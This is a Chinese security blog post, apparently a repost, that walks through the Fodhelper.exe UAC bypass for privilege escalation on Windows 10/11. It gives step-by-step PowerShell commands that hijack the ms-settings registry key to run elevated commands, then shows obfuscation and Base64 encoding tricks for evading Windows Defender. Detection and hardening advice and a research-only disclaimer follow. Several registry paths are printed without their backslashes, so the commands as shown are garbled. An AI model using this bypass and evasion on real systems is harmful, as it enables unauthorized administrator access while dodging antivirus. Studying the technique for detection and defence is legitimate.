UAC完美绕过:Fodhelper.exe提权技术深度剖析

admin 2025年2月14日10:41:47评论18 views字数 1999阅读6分39秒阅读模式

前言

本文将深入分析如何通过Windows系统自带的Fodhelper.exe程序实现UAC(用户账户控制)的绕过,并详细说明其工作原理、实现方法和防御对策。

Fodhelper.exe介绍

什么是Fodhelper.exe?

Fodhelper.exe是Windows 10中的一个系统组件,用于管理Windows功能。该程序具有自动提升权限的特性,是UAC绕过的理想目标。

UAC完美绕过:Fodhelper.exe提权技术深度剖析

为什么选择Fodhelper.exe?

  1. 系统自带程序,默认受信任
  2. 具有自动提升权限的特性
  3. 可通过注册表劫持执行流程
  4. 较难被安全软件拦截

技术原理

自动提升机制

Fodhelper.exe启动时会自动请求管理员权限,且不会触发UAC提示,这是因为:

  1. 程序位于系统目录
  2. 具有微软数字签名
  3. 内置manifest指定了requireAdministrator

劫持原理

通过修改注册表项HKCU:SoftwareClassesms-settingsShellOpencommand,可以劫持Fodhelper.exe的执行流程:

  1. 程序启动时会查询该注册表路径
  2. 通过DelegateExecute键触发命令执行
  3. 利用当前用户上下文执行恶意命令

实现步骤

1. 注册表准备

# 创建必要的注册表项
New-Item "HKCU:SoftwareClassesms-settingsShellOpencommand" -Force

2. 设置劫持参数

# 设置DelegateExecute键值
Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" `
    -Name "DelegateExecute" -Value "" -Force

# 设置要执行的命令
Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" `
    -Name "(Default)" `
    -Value "cmd.exe /c start C:WindowsSystem32cmd.exe" -Force

3. 触发执行

# 启动Fodhelper.exe触发提权
Start-Process "C:WindowsSystem32fodhelper.exe"

绕过Windows Defender

1. 命令混淆

# 原始命令
cmd.exe /c start C:WindowsSystem32cmd.exe

# 混淆后
$c = "cm"+"d.exe"; $p = "/c st"+"art"; & $c $p "C:WindowsSystem32cmd.exe"

2. 路径变形

# 使用环境变量
%SystemRoot%System32cmd.exe
# 或使用短路径
C:WINDOWSSysWOW64cmd.exe

3. 编码处理

# Base64编码执行
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("cmd.exe"))
powershell -enc $encoded

检测与防御

1. 注册表监控

# 监控关键注册表路径
reg query "HKCUSoftwareClassesms-settingsShellOpencommand"

# PowerShell监控脚本
$key = "HKCU:SoftwareClassesms-settingsShellOpencommand"
Get-ItemProperty -Path $key | Select-Object "(Default)", "DelegateExecute"

2. 进程监控

  • 监控Fodhelper.exe的启动
  • 跟踪其子进程创建
  • 记录命令行参数

3. 防护措施

  1. 注册表访问控制
# 限制注册表访问权限
$acl = Get-Acl "HKCU:SoftwareClasses"
Set-Acl "HKCU:SoftwareClassesms-settings" $acl
  1. 应用程序控制
# AppLocker策略示例
New-AppLockerPolicy -RuleType Path -Path "C:WindowsSystem32fodhelper.exe" -User "Everyone" -Action Deny
  1. 系统加固
  • 启用最高级别UAC设置
  • 实施最小权限原则
  • 定期更新系统补丁

实验环境搭建

测试环境要求

  • Windows 10/11操作系统
  • 标准用户权限
  • UAC默认设置

验证步骤

  1. 创建测试用户
  2. 确认UAC设置
  3. 执行绕过脚本
  4. 验证权限提升

结论

Fodhelper.exe提供了一个相对可靠的UAC绕过方法,但也存在被检测的风险。安全团队应该:

  1. 了解此类攻击原理
  2. 实施相应防御措施
  3. 定期进行安全评估
  4. 保持系统更新

提醒:本文内容仅供安全研究使用,切勿用于非法目的。在实际环境中使用这些技术可能违反相关法律法规

原文始发于微信公众号(HW安全之路):UAC完美绕过:Fodhelper.exe提权技术深度剖析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日10:41:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UAC完美绕过:Fodhelper.exe提权技术深度剖析https://cn-sec.com/archives/3738640.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息